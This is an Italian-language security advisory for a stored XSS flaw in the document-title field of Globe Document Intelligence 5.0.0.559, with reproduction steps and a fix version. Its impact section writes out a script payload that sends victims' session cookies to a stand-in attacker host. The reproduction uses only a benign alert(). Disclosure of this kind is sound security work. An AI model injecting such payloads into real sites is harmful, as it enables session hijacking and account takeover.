CVE-2025-65640

1. Informazioni sulla Vulnerabilità

• CVE ID: CVE-2025-65640 (Attualmente RISERVATO)
• Tipo di Vulnerabilità: Cross-Site Scripting Memorizzato (XSS)
• Punteggio CVSSv3: 6.3 (AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:N)
• Fornitore: Arket/Bluenext S.r.l.
• Prodotto: Globe Document Intelligence
• Versione Affetta: 5.0.0.559
• Scopritore: Vincenzo Emanuele Martone

2. Descrizione

È stata identificata una vulnerabilità di Cross-Site Scripting Memorizzato (XSS) nella piattaforma Globe Document Intelligence (versione 5.0.0.559). L'applicazione non sanifica o codifica correttamente l'input fornito dall'utente nella proprietà "Titolo" di un documento appena creato. Quando un utente autenticato naviga verso le pagine di riepilogo (ad esempio, "Attività in corso / Recenti"), il payload dannoso viene riflesso ed eseguito nel contesto del browser della vittima.

3. Impatto

Questa vulnerabilità consente a un utente malintenzionato autenticato di memorizzare codice JavaScript dannoso sul server. Quando altri utenti autenticati (inclusi account amministrativi) visualizzano le pagine interessate, lo script viene eseguito automaticamente. Mentre il Proof of Concept qui sotto dimostra la vulnerabilità utilizzando un alert() benigno, un utente malintenzionato può armare questa falla per ottenere Session Hijacking e Account Takeover. Ad esempio, l'iniezione di un payload come <script>fetch('https://attacker.com/?cookie='+encodeURIComponent(document.cookie))</script> esfiltrerebbe silenziosamente i cookie di sessione della vittima verso un server esterno controllato dall'attaccante.

4. Passaggi per Riprodurre (Proof of Concept)

Per riprodurre la vulnerabilità, un utente malintenzionato autenticato può seguire questi passaggi:

1. Navigare verso la sezione di creazione del documento ("Nuovo documento") e compilare i campi obbligatori con dati arbitrari per creare con successo un nuovo documento.
2. Inviare il modulo e creare il documento.
3. Selezionare il documento appena creato, aprire il menu contestuale (Tasto Destro -> Proprietà del Documento) e individuare il campo "Titolo".
4. Iniettare il seguente payload XSS di base nel campo "Titolo": <script>alert("XSS")</script>
5. Salvare le modifiche. Il payload dannoso è ora memorizzato in modo persistente nel database.
6. Navigare verso la pagina "Task in progress / Recent" (Task in attesa/Recenti).
7. Poiché la pagina visualizza il titolo del documento senza una corretta codifica dell'output, il payload JavaScript viene eseguito, attivando l'alert.

5. Mitigazione Raccomandata

Secondo il fornitore, questa vulnerabilità è stata risolta nella versione 5.1.0.575. Per risolvere il problema, si consiglia di aggiornare la piattaforma Globe Document Intelligence alla versione 5.1.0.575.

---

Dichiarazione di esclusione di responsabilità

Questo Proof of Concept (PoC) è fornito esclusivamente a scopo educativo e di ricerca. Le informazioni e il codice dettagliati in questo documento non devono essere utilizzati per attività dannose o contro sistemi senza esplicita e preventiva autorizzazione dei proprietari del sistema. L'autore non si assume alcuna responsabilità e non è responsabile per qualsiasi uso improprio o danno causato dall'applicazione del materiale fornito.